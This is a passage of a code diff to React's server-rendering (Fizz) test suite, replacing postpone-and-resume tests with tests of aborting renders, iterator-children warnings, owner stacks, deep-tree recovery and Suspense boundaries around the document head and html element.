-        ? [
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'server error',
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'replay error',
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'server error',
-          ]
-        : [
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-          ],
-    );
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Hello'}
-        {'Hello'}
-        {'Hello'}
-        {'Hello'}
-      </div>,
-    );
-  });
-
-  // @gate enablePostpone
-  it('client renders a component if we abort before resuming', async () => {
-    let prerendering = true;
-    let ssr = true;
-    const promise = new Promise(() => {});
-    function PostponeAndSuspend() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      if (ssr) {
-        React.use(promise);
-      }
-      return 'Hello';
-    }
-
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    function DelayedBoundary() {
-      if (!prerendering && ssr) {
-        // We delay discovery of the boundary so we can abort before finding it.
-        React.use(promise);
-      }
-      return (
-        <Suspense fallback="Loading3">
-          <Postpone />
-        </Suspense>
-      );
-    }
+  it('can abort during render in a lazy initializer for an element', async () => {
+    function Sibling() {
+      return <p>sibling</p>;
+    }
 
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading1">
-            <PostponeAndSuspend />
-          </Suspense>
-          <Suspense fallback="Loading2">
-            <Postpone />
+          <Suspense fallback={<p>loading 1...</p>}>
+            {lazyAbort}
+            <Sibling />
           </Suspense>
-          <Suspense fallback="Not used">
-            <DelayedBoundary />
+          <Suspense fallback={<p>loading 2...</p>}>
+            <Sibling />
           </Suspense>
+          <div>
+            <Suspense fallback={<p>loading 3...</p>}>
+              <div>
+                <Sibling />
+              </div>
+            </Suspense>
+          </div>
         </div>
       );
     }
 
-    const prerenderErrors = [];
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(
-      <App />,
-      {
-        onError(x) {
-          prerenderErrors.push(x.message);
-        },
-      },
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const ssrErrors = [];
-
-    const resumed = ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError(x) {
-          ssrErrors.push(x.message);
+    const abortRef = {current: null};
+    const lazyAbort = React.lazy(() => {
+      abortRef.current();
+      return {
+        then(cb) {
+          cb({default: 'hello world'});
         },
-      },
-    );
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
-
-    await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      };
     });
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Loading1'}
-        {'Loading2'}
-        {'Loading3'}
-      </div>,
-    );
-
+    let finished = false;
     await act(() => {
-      resumed.pipe(writable);
-    });
-
-    const recoverableErrors = [];
-
-    ssr = false;
-
-    await clientAct(() => {
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(x) {
-          recoverableErrors.push(x.message);
-        },
+      const {pipe, abort} = renderToPipeableStream(<App />);
+      abortRef.current = abort;
+      writable.on('finish', () => {
+        finished = true;
       });
+      pipe(writable);
     });
 
-    expect(recoverableErrors).toEqual([]);
-    expect(prerenderErrors).toEqual([]);
-    expect(ssrErrors).toEqual([]);
-
-    // Still loading...
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Loading1'}
-        {/*
-          This used to show "Hello" in this slot because the boundary was able to be flushed
-          early but we now prevent flushing while pendingRootTasks is not zero. This is how Edge
-          would work anyway because you don't get the stream until the root is unblocked on a resume
-          so Node now aligns with edge bevavior
-          {'Hello'}
-        */}
-        {'Loading2'}
-        {'Loading3'}
-      </div>,
-    );
-
-    await clientAct(async () => {
-      await act(() => {
-        resumed.abort(new Error('aborted'));
-      });
-    });
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
 
+    expect(finished).toBe(true);
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        {'Hello'}
-        {'Hello'}
-        {'Hello'}
+        <p>loading 1...</p>
+        <p>loading 2...</p>
+        <div>
+          <p>loading 3...</p>
+        </div>
       </div>,
     );
-
-    expect(prerenderErrors).toEqual([]);
-    expect(ssrErrors).toEqual(['aborted', 'aborted']);
-    expect(recoverableErrors).toEqual(
-      __DEV__
-        ? [
-            'Switched to client rendering because the server rendering aborted due to:\n\n' +
-              'aborted',
-            'Switched to client rendering because the server rendering aborted due to:\n\n' +
-              'aborted',
-          ]
-        : [
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-          ],
-    );
   });
 
-  // @gate enablePostpone
-  it('client renders remaining boundaries below the error in shell', async () => {
-    let prerendering = true;
-    let ssr = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    function ReplayError({children}) {
-      if (!prerendering && ssr) {
-        throw new Error('replay error');
-      }
-      return children;
+  it('can abort during a synchronous thenable resolution', async () => {
+    function Sibling() {
+      return <p>sibling</p>;
     }
 
     function App() {
       return (
         <div>
+          <Suspense fallback={<p>loading 1...</p>}>
+            {thenable}
+            <Sibling />
+          </Suspense>
+          <Suspense fallback={<p>loading 2...</p>}>
+            <Sibling />
+          </Suspense>
           <div>
-            <Suspense fallback="Loading1">
-              <Postpone />
-            </Suspense>
-            <ReplayError>
-              <Suspense fallback="Loading2">
-                <Postpone />
-              </Suspense>
-            </ReplayError>
-            <Suspense fallback="Loading3">
-              <Postpone />
+            <Suspense fallback={<p>loading 3...</p>}>
+              <div>
+                <Sibling />
+              </div>
             </Suspense>
           </div>
-          <Suspense fallback="Not used">
-            <div>
-              <Suspense fallback="Loading4">
-                <Postpone />
-              </Suspense>
-            </div>
-          </Suspense>
-          <Suspense fallback="Loading5">
-            <Postpone />
-            <ReplayError>
-              <Suspense fallback="Loading6">
-                <Postpone />
-              </Suspense>
-            </ReplayError>
-          </Suspense>
         </div>
       );
     }
 
-    const prerenderErrors = [];
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(
-      <App />,
-      {
-        onError(x) {
-          prerenderErrors.push(x.message);
-        },
-      },
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const ssrErrors = [];
-
-    const resumed = ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError(x) {
-          ssrErrors.push(x.message);
-        },
+    const abortRef = {current: null};
+    const thenable = {
+      then(cb) {
+        abortRef.current();
+        cb(thenable.value);
       },
-    );
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
-
-    await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
-    });
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        <div>
-          {'Loading1'}
-          {'Loading2'}
-          {'Loading3'}
-        </div>
-        <div>{'Loading4'}</div>
-        {'Loading5'}
-      </div>,
-    );
+    };
 
+    let finished = false;
     await act(() => {
-      resumed.pipe(writable);
-    });
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        <div>
-          {'Hello' /* This was matched and completed before the error */}
-          {
-            'Loading2' /* This will be client rendered because its parent errored during replay */
-          }
-          {
-            'Hello' /* This should be renderable since we matched which previous sibling errored */
-          }
-        </div>
-        <div>
-          {
-            'Hello' /* This should be able to resume because it's in a different parent. */
-          }
-        </div>
-        {'Hello'}
-        {'Loading6' /* The parent could resolve even if the child didn't */}
-      </div>,
-    );
-
-    const recoverableErrors = [];
-
-    ssr = false;
-
-    await clientAct(() => {
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(x) {
-          recoverableErrors.push(x.message);
-        },
+      const {pipe, abort} = renderToPipeableStream(<App />);
+      abortRef.current = abort;
+      writable.on('finish', () => {
+        finished = true;
       });
+      pipe(writable);
     });
 
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
+
+    expect(finished).toBe(true);
     expect(getVisibleChildren(container)).toEqual(
       <div>
+        <p>loading 1...</p>
+        <p>loading 2...</p>
         <div>
-          {'Hello'}
-          {'Hello'}
-          {'Hello'}
+          <p>loading 3...</p>
         </div>
-        <div>{'Hello'}</div>
-        {'Hello'}
-        {'Hello'}
       </div>,
     );
-
-    // We should've logged once for each boundary that this affected.
-    expect(prerenderErrors).toEqual([]);
-    expect(ssrErrors).toEqual([
-      // This error triggered in two replay components.
-      'replay error',
-      'replay error',
-    ]);
-    expect(recoverableErrors).toEqual(
-      // It surfaced in two different suspense boundaries.
-      __DEV__
-        ? [
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'replay error',
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'replay error',
-          ]
-        : [
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-          ],
-    );
   });
 
-  // @gate enablePostpone
-  it('can client render a boundary after having already postponed', async () => {
-    let prerendering = true;
-    let ssr = true;
-
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    function ServerError() {
-      if (ssr) {
-        throw new Error('server error');
-      }
-      return 'World';
-    }
-
+  it('can support throwing after aborting during a render', async () => {
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading1">
-            <Postpone />
-            <ServerError />
-          </Suspense>
-          <Suspense fallback="Loading2">
-            <Postpone />
+          <Suspense fallback={<p>loading...</p>}>
+            <ComponentThatAborts />
           </Suspense>
         </div>
       );
     }
 
-    const prerenderErrors = [];
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(
-      <App />,
-      {
-        onError(x) {
-          prerenderErrors.push(x.message);
-        },
-      },
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const ssrErrors = [];
-
-    const resumed = ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError(x) {
-          ssrErrors.push(x.message);
-        },
-      },
-    );
-
-    const windowErrors = [];
-    function globalError(e) {
-      windowErrors.push(e.message);
+    function ComponentThatAborts() {
+      abortRef.current('boom');
+      throw new Error('bam');
     }
-    window.addEventListener('error', globalError);
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
 
+    const abortRef = {current: null};
+    let finished = false;
+    const errors = [];
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      const {pipe, abort} = renderToPipeableStream(<App />, {
+        onError(err) {
+          errors.push(err);
+        },
+      });
+      abortRef.current = abort;
+      writable.on('finish', () => {
+        finished = true;
+      });
+      pipe(writable);
     });
 
-    expect(windowErrors).toEqual([]);
+    expect(errors).toEqual(['boom']);
 
+    expect(finished).toBe(true);
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        {'Loading1'}
-        {'Loading2'}
+        <p>loading...</p>
       </div>,
     );
+  });
 
-    await act(() => {
-      resumed.pipe(writable);
-    });
-
-    expect(prerenderErrors).toEqual(['server error']);
+  it('should warn for using generators as children props', async () => {
+    function* getChildren() {
+      yield <h1 key="1">Hello</h1>;
+      yield <h1 key="2">World</h1>;
+    }
 
-    // Since this errored, we shouldn't have to replay it.
-    expect(ssrErrors).toEqual([]);
+    function Foo() {
+      const children = getChildren();
+      return <div>{children}</div>;
+    }
 
-    expect(windowErrors).toEqual([]);
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'Using Iterators as children is unsupported and will likely yield ' +
+        'unexpected results because enumerating a generator mutates it. ' +
+        'You may convert it to an array with `Array.from()` or the ' +
+        '`[...spread]` operator before rendering. You can also use an ' +
+        'Iterable that can iterate multiple times over the same items.\n' +
+        '    in div (at **)\n' +
+        '    in Foo (at **)',
+    ]);
 
-    // Still loading...
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Loading1'}
-        {'Hello'}
-      </div>,
-    );
+    expect(document.body.textContent).toBe('HelloWorld');
+  });
 
-    const recoverableErrors = [];
-
-    ssr = false;
-
-    await clientAct(() => {
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(x) {
-          recoverableErrors.push(x.message);
+  it('should warn for using other types of iterators as children', async () => {
+    function Foo() {
+      let i = 0;
+      const iterator = {
+        [Symbol.iterator]() {
+          return iterator;
         },
-      });
-    });
-
-    expect(recoverableErrors).toEqual(
-      __DEV__
-        ? [
-            'Switched to client rendering because the server rendering errored:\n\n' +
-              'server error',
-          ]
-        : [
-            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-          ],
-    );
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Hello'}
-        {'World'}
-        {'Hello'}
-      </div>,
-    );
+        next() {
+          switch (i++) {
+            case 0:
+              return {done: false, value: <h1 key="1">Hello</h1>};
+            case 1:
+              return {done: false, value: <h1 key="2">World</h1>};
+            default:
+              return {done: true, value: undefined};
+          }
+        },
+      };
+      return iterator;
+    }
 
-    expect(windowErrors).toEqual([]);
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'Using Iterators as children is unsupported and will likely yield ' +
+        'unexpected results because enumerating a generator mutates it. ' +
+        'You may convert it to an array with `Array.from()` or the ' +
+        '`[...spread]` operator before rendering. You can also use an ' +
+        'Iterable that can iterate multiple times over the same items.\n' +
+        '    in Foo (at **)',
+    ]);
 
-    window.removeEventListener('error', globalError);
+    expect(document.body.textContent).toBe('HelloWorld');
   });
 
-  // @gate enablePostpone
-  it('can postpone in fallback', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
+  // @gate __DEV__
+  it('can get the component owner stacks during rendering in dev', async () => {
+    let stack;
 
-    let resolve;
-    const promise = new Promise(r => (resolve = r));
-
-    function PostponeAndDelay() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return React.use(promise);
+    function Foo() {
+      return <Bar />;
     }
-
-    const Lazy = React.lazy(async () => {
-      await 0;
-      return {default: Postpone};
-    });
-
-    function App() {
+    function Bar() {
       return (
         <div>
-          <Suspense fallback="Outer">
-            <Suspense fallback={<Postpone />}>
-              <PostponeAndDelay /> World
-            </Suspense>
-            <Suspense fallback={<Postpone />}>
-              <Lazy />
-            </Suspense>
-          </Suspense>
+          <Baz />
         </div>
       );
     }
-
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
+    function Baz() {
+      stack = React.captureOwnerStack();
+      return <span>hi</span>;
+    }
 
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      const {pipe} = renderToPipeableStream(
+        <div>
+          <Foo />
+        </div>,
+      );
+      pipe(writable);
     });
 
-    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
+    expect(normalizeCodeLocInfo(stack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
     );
+  });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Outer</div>);
+  // @gate __DEV__
+  it('can get the component owner stacks for onError in dev', async () => {
+    const thrownError = new Error('hi');
+    let caughtError;
+    let parentStack;
+    let ownerStack;
 
-    // Read what we've completed so far
-    await act(() => {
-      resumed.pipe(writable);
-    });
+    function Foo() {
+      return <Bar />;
+    }
+    function Bar() {
+      return (
+        <div>
+          <Baz />
+        </div>
+      );
+    }
+    function Baz() {
+      throw thrownError;
+    }
 
-    // Should have now resolved the postponed loading state, but not the promise
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Hello'}
-        {'Hello'}
-      </div>,
+    await expect(async () => {
+      await act(() => {
+        const {pipe} = renderToPipeableStream(
+          <div>
+            <Foo />
+          </div>,
+          {
+            onError(error, errorInfo) {
+              caughtError = error;
+              parentStack = errorInfo.componentStack;
+              ownerStack = React.captureOwnerStack
+                ? React.captureOwnerStack()
+                : null;
+            },
+          },
+        );
+        pipe(writable);
+      });
+    }).rejects.toThrow(thrownError);
+
+    expect(caughtError).toBe(thrownError);
+    expect(normalizeCodeLocInfo(parentStack)).toBe(
+      '\n    in Baz (at **)' +
+        '\n    in div (at **)' +
+        '\n    in Bar (at **)' +
+        '\n    in Foo (at **)' +
+        '\n    in div (at **)',
+    );
+    expect(normalizeCodeLocInfo(ownerStack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
     );
+  });
+
+  it('can recover from very deep trees to avoid stack overflow', async () => {
+    function Recursive({n}) {
+      if (n > 0) {
+        return <Recursive n={n - 1} />;
+      }
+      return <span>hi</span>;
+    }
 
-    // Resolve the final promise
+    // Recursively render a component tree deep enough to trigger stack overflow.
+    // Don't make this too short to not hit the limit but also not too deep to slow
+    // down the test.
     await act(() => {
-      resolve('Hi');
+      const {pipe} = renderToPipeableStream(
+        <div>
+          <Recursive n={1000} />
+        </div>,
+      );
+      pipe(writable);
     });
 
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        {'Hi'}
-        {' World'}
-        {'Hello'}
+        <span>hi</span>
       </div>,
     );
   });
 
-  // @gate enablePostpone
-  it('can discover new suspense boundaries in the resume', async () => {
-    let prerendering = true;
-    let resolveA;
-    const promiseA = new Promise(r => (resolveA = r));
-    let resolveB;
-    const promiseB = new Promise(r => (resolveB = r));
-
-    function WaitA() {
-      return React.use(promiseA);
-    }
-    function WaitB() {
-      return React.use(promiseB);
-    }
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
+  it('handles stack overflows inside components themselves', async () => {
+    function StackOverflow() {
+      // This component is recursive inside itself and is therefore an error.
+      // Assuming no tail-call optimizations.
+      function recursive(n, a0, a1, a2, a3) {
+        if (n > 0) {
+          return recursive(n - 1, a0, a1, a2, a3) + a0 + a1 + a2 + a3;
+        }
+        return a0;
       }
-      return (
-        <span>
-          <Suspense fallback="Loading again...">
-            <WaitA />
-          </Suspense>
-          <WaitB />
-        </span>
-      );
+      return recursive(10000, 'should', 'not', 'resolve', 'this');
+    }
+
+    let caughtError;
+
+    await expect(async () => {
+      await act(() => {
+        const {pipe} = renderToPipeableStream(
+          <div>
+            <StackOverflow />
+          </div>,
+          {
+            onError(error, errorInfo) {
+              caughtError = error;
+            },
+          },
+        );
+        pipe(writable);
+      });
+    }).rejects.toThrow('Maximum call stack size exceeded');
+
+    expect(caughtError.message).toBe('Maximum call stack size exceeded');
+  });
+
+  it('client renders incomplete Suspense boundaries when the document is no longer loading when hydration begins', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = r;
+    });
+
+    function Blocking() {
+      React.use(promise);
+      return null;
     }
 
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading...">
-            <p>
-              <Postpone />
-            </p>
+          <p>outside</p>
+          <Suspense fallback={<p>loading...</p>}>
+            <Blocking />
+            <p>inside</p>
           </Suspense>
         </div>
       );
     }
 
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
-
+    const errors = [];
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      const {pipe} = renderToPipeableStream(<App />, {
+        onError(err) {
+          errors.push(err.message);
+        },
+      });
+      pipe(writable);
     });
 
-    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>outside</p>
+        <p>loading...</p>
+      </div>,
     );
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    // Read what we've completed so far
-    await act(() => {
-      resumed.pipe(writable);
-    });
-
-    // Still blocked
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    // Resolve the first promise, this unblocks the inner boundary
     await act(() => {
-      resolveA('Hello');
+      // We now end the stream and resolve the promise that was blocking the boundary
+      // Because the stream is ended it won't actually propagate to the client
+      writable.end();
+      document.readyState = 'complete';
+      resolve();
     });
+    // ending the stream early will cause it to error on the server
+    expect(errors).toEqual([
+      expect.stringContaining('The destination stream closed early'),
+    ]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>outside</p>
+        <p>loading...</p>
+      </div>,
+    );
 
-    // Still blocked
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    // Resolve the second promise, this unblocks the outer boundary
-    await act(() => {
-      resolveB('World');
+    const clientErrors = [];
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error, errorInfo) {
+        clientErrors.push(error.message);
+      },
     });
-
+    await waitForAll([]);
+    // When we hydrate the client the document is already not loading
+    // so we client render the boundary in fallback
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        <p>
-          <span>
-            {'Hello'}
-            {'World'}
-          </span>
-        </p>
+        <p>outside</p>
+        <p>inside</p>
       </div>,
     );
+    expect(clientErrors).toEqual([
+      expect.stringContaining(
+        'The server could not finish this Suspense boundar',
+      ),
+    ]);
   });
 
-  // @gate enablePostpone
-  it('does not call onError when you abort with a postpone instance during prerender', async () => {
-    const promise = new Promise(r => {});
+  it('client renders incomplete Suspense boundaries when the document stops loading during hydration', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = r;
+    });
 
-    function Wait() {
-      return React.use(promise);
+    function Blocking() {
+      React.use(promise);
+      return null;
     }
 
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading...">
-            <p>
-              <span>
-                <Suspense fallback="Loading again...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
-            <p>
-              <span>
-                <Suspense fallback="Loading again too...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
+          <p>outside</p>
+          <Suspense fallback={<p>loading...</p>}>
+            <Blocking />
+            <p>inside</p>
           </Suspense>
         </div>
       );
     }
 
-    let postponeInstance;
-    try {
-      React.unstable_postpone('manufactured');
-    } catch (p) {
-      postponeInstance = p;
-    }
-
-    const controller = new AbortController();
-    const signal = controller.signal;
-
     const errors = [];
-    function onError(error) {
-      errors.push(error);
-    }
-    const postpones = [];
-    function onPostpone(reason) {
-      postpones.push(reason);
-    }
-    let pendingPrerender;
     await act(() => {
-      pendingPrerender = ReactDOMFizzStatic.prerenderToNodeStream(<App />, {
-        signal,
-        onError,
-        onPostpone,
+      const {pipe} = renderToPipeableStream(<App />, {
+        onError(err) {
+          errors.push(err.message);
+        },
       });
+      pipe(writable);
     });
-    controller.abort(postponeInstance);
-
-    const prerendered = await pendingPrerender;
 
-    expect(prerendered.postponed).toBe(null);
-    expect(errors).toEqual([]);
-    expect(postpones).toEqual(['manufactured', 'manufactured']);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>outside</p>
+        <p>loading...</p>
+      </div>,
+    );
 
     await act(() => {
-      prerendered.prelude.pipe(writable);
+      // We now end the stream and resolve the promise that was blocking the boundary
+      // Because the stream is ended it won't actually propagate to the client
+      writable.end();
+      resolve();
     });
-
+    // ending the stream early will cause it to error on the server
+    expect(errors).toEqual([
+      expect.stringContaining('The destination stream closed early'),
+    ]);
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        <p>
-          <span>Loading again...</span>
-        </p>
-        <p>
-          <span>Loading again too...</span>
-        </p>
+        <p>outside</p>
+        <p>loading...</p>
       </div>,
     );
-  });
 
-  // @gate enablePostpone
-  it('does not call onError when you abort with a postpone instance during resume', async () => {
-    let prerendering = true;
-    const promise = new Promise(r => {});
+    const clientErrors = [];
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error, errorInfo) {
+        clientErrors.push(error.message);
+      },
+    });
+    await waitForAll([]);
+    // When we hydrate the client is still waiting for the blocked boundary
+    // and won't client render unless the document is no longer loading
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>outside</p>
+        <p>loading...</p>
+      </div>,
+    );
 
-    function Wait() {
-      return React.use(promise);
-    }
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return (
-        <span>
-          <Suspense fallback="Loading again...">
-            <Wait />
-          </Suspense>
-        </span>
-      );
+    document.readyState = 'complete';
+    await waitForAll([]);
+    // Now that the document is no longer in loading readyState it will client
+    // render the boundary in fallback
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>outside</p>
+        <p>inside</p>
+      </div>,
+    );
+    expect(clientErrors).toEqual([
+      expect.stringContaining(
+        'The server could not finish this Suspense boundar',
+      ),
+    ]);
+  });
+
+  it('can suspend inside the <head /> tag', async () => {
+    function BlockedOn({value, children}) {
+      readText(value);
+      return children;
     }
 
     function App() {
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            <p>
-              <Postpone />
-            </p>
-            <p>
-              <Postpone />
-            </p>
-          </Suspense>
-        </div>
+        <html>
+          <head>
+            <Suspense fallback={<meta itemProp="head loading" />}>
+              <BlockedOn value="head">
+                <meta itemProp="" content="head" />
+              </BlockedOn>
+            </Suspense>
+          </head>
+          <body>
+            <div>hello world</div>
+          </body>
+        </html>
       );
     }
 
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
-
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
     });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta itemprop="head loading" />
+        </head>
+        <body>
+          <div>hello world</div>
+        </body>
+      </html>,
+    );
 
-    let postponeInstance;
-    try {
-      React.unstable_postpone('manufactured');
-    } catch (p) {
-      postponeInstance = p;
-    }
+    await act(() => {
+      resolveText('head');
+    });
 
-    const errors = [];
-    function onError(error) {
-      errors.push(error);
-    }
-    const postpones = [];
-    function onPostpone(reason) {
-      postpones.push(reason);
-    }
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta itemprop="" content="head" />
+        </head>
+        <body>
+          <div>hello world</div>
+        </body>
+      </html>,
+    );
 
-    prerendering = false;
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
 
-    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError,
-        onPostpone,
-      },
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta itemprop="" content="head" />
+        </head>
+        <body>
+          <div>hello world</div>
+        </body>
+      </html>,
     );
 
     await act(() => {
-      resumed.pipe(writable);
-    });
-    await act(() => {
-      resumed.abort(postponeInstance);
+      root.unmount();
     });
+    await waitForAll([]);
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        <p>
-          <span>Loading again...</span>
-        </p>
-        <p>
-          <span>Loading again...</span>
-        </p>
-      </div>,
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
     );
-
-    expect(errors).toEqual([]);
-    expect(postpones).toEqual(['manufactured', 'manufactured']);
   });
 
-  // @gate enablePostpone
-  it('does not call onError when you abort with a postpone instance during a render', async () => {
-    const promise = new Promise(r => {});
-
-    function Wait() {
-      return React.use(promise);
+  it('can render Suspense before, after, and around <html>', async () => {
+    function BlockedOn({value, children}) {
+      readText(value);
+      return children;
     }
 
     function App() {
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            <p>
-              <span>
-                <Suspense fallback="Loading again...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
-            <p>
-              <span>
-                <Suspense fallback="Loading again...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
+        <>
+          <Suspense fallback="this fallback never renders">
+            <div>before</div>
           </Suspense>
-        </div>
+          <Suspense fallback="this fallback never renders">
